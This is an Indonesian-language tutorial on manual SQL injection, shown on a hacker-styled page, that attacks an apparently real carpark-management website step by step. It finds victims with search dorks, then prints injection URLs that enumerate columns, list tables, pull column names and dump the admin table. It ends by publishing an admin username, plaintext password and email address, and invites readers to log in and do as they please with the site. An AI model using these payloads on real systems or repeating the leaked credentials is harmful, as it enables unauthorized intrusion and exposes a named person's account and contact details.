4n4M N0tF0unD
Ver 4.0
today : | at : | safemode : ON | admin : 4n4M N0tF0unD | server : apache | MySQL : ON | perl : ON | MSSQL : OFF | cURL : ON | WGet : OFF | Oracle : OFF | Fetch : ON | PostgreSQL : OFF
> / home / public_html / facebook / twitter / exit /
name author perms com modified label

Teknik SQL Injection Manual 4n4M N0tF0unD rwxr-xr-x 0 04.18

Filename Teknik SQL Injection Manual
Permission rw-r--r--
Author 4n4M N0tF0unD
Date and Time 04.18
Label
Action


SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter. Langsung saja kita mulai, Let's Go .....

- Persiapan :
  • Koneksi Internet (wajib)
  • Dork bisa disini atau disini
  • Secangkir white Coffe 
  • Kesabaran
- hal pertama adalah kita cari korban menggunakan Dork diatas
- setelah kita dapat targetnya kita test apakah website tersebut vuln atau tidak untuk di Inject
- buat sebuah error pada website dengan menambahkan karakter(') atau (-) setelah atau sesudah angka pada url

   Contoh :  http://carpark-management.co.uk/shop.php?id=19'
                  http://carpark-management.co.uk/shop.php?id='19
                  http://carpark-management.co.uk/shop.php?id=-19

- jika website tersebut muncul pesan error, kemungkinan besar Website Vuln untuk di Inject


- setelah itu, kita hitung jumlah table yang ada pada database website tersebut,  kita gunakan perintah order by  dan di akhiri dengan tanda -- di belakang url. sehingga menjadi seperti ini :

http://carpark-management.co.uk/shop.php?id=19+order+by+1--   <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+2--   <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+3--   <== tidak terjadi Error


- jika website tidak menampilkan pesan error kita langkahin aja biar gak lama - lama 

http://carpark-management.co.uk/shop.php?id=19+order+by+8--   <== tidak terjadi Error
http://carpark-management.co.uk/shop.php?id=19+order+by+9--   <== ada pesan Error


- Pada angka ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada
- Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah - perintah  injection pada tahap selanjutnya. Gunakan perintah union all select  diikuti jumlah tabel dan tanda (-) sebelum angka dan diakhiri dengan tanda -- pada akhir url. 

http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,2,3,4,5,6,7,8--


- nah... muncul tuh angka 2  yang nantinya akan di gunakan untuk perintah - perintah selanjutnya
- untuk tahap ini, kita harus mengetahui versi database yang dipakai pada website tersebut. dengan menggunakan perintah version()  atau @@version  pada angka yang muncul tadi

http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,version(),3,4,5,6,7,8--


- tuh angkanya muncul, angka yang muncul adalah versi 5.1.72.  jadi pada versi itu berberda dengan versi . prosesnya lebih repot pada versi , karena untuk melakukan perintah SQL Injection pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya
- Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada website tersebut. gunakan perintah group_concat(table_name)  dan menambahkan perintah +from+information_schema.tables+where+table_schema=database()  sesudah angka terakhir, dan diakhiri dengan tanda -- pada akhir url

http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--


- nah nama tablenya udah muncul tuh yang terdiri dari :  pjcpm_admin,pjcpm_cart,pjcpm_category,pjcpm_catpro,pjcpm_country,pjcpm_news   ddl sebagainya.  
- Langkah selanjutnya kita akan mencari username dan password admin pada tabel pjcpm_admin. Perlu diketahui bahwa tidak semua nama tabel pada setiap website itu sama, jadi untuk mencari tabel admin, silahkan di kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada
- Selanjutnya kita mencari kolom yang berada di dalam tabel pjcpm_admin, dengan menggunakan perintah
group_concat(column_name)  dan perintah +from+information_schema.columns+where+table_name=CHAR()  sesudah angka terakhir, dan diakhiri dengan tanda -- pada akhir url. Pada tahap ini nama tabel  pjcpm_admin harus dikonversi dulu ke bentuk decimal. silahkan koversi disini. kemudian hasil konversi pjcpm_admin adalah 112 106 99 112 109 95 97 100 109 105 110  lalu kita masukkan ke CHAR(112,106,99,112,109,95,97,100,109,105,110) dan pisahkan dengan koma.

http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=CHAR(112,106,99,112,109,95,97,
100,109,105,110)--


- Nah, udah muncul nama kolomnya yang terdiri dari admin_id,username,password  dan email
- langkah selanjutnya kita lihat isi dari nama - nama kolom tadi dengan perintah group_concat(admin_id,0x3a,usename,0x3a,password,03xa,email).  jangan lupa di setiap sela - sela tambahkan kode 0x3a  yang merupakan hasil konversi hexa dari tanda titik dua (:). lalu tambahkan perintah +from+pjcpm_admin-- (pjcpm_admin  merupakan tabel yang kita dapatkan tadi) di belakang angka terakhir

http://carpark-management.co.uk/shop.php?id=-19+union+all+select+1,group_concat(admin_id,0x3a,username,0x3a,password,0x3a,email),3,4,5,6,7,8+from+pjcpm_admin--


- dari gambar di atas isi dari kolom yang muncul adalah  1:manager:cpm2010:maneesh@webdesigninguk.co, terus kita cari deh halaman log in nya, tinggal masuk dan terserah anda mau di apain tuh website.

Saya kira hanya begitu saja, kurang lebih mohon maaf

terima kasih, dan sampai jumpa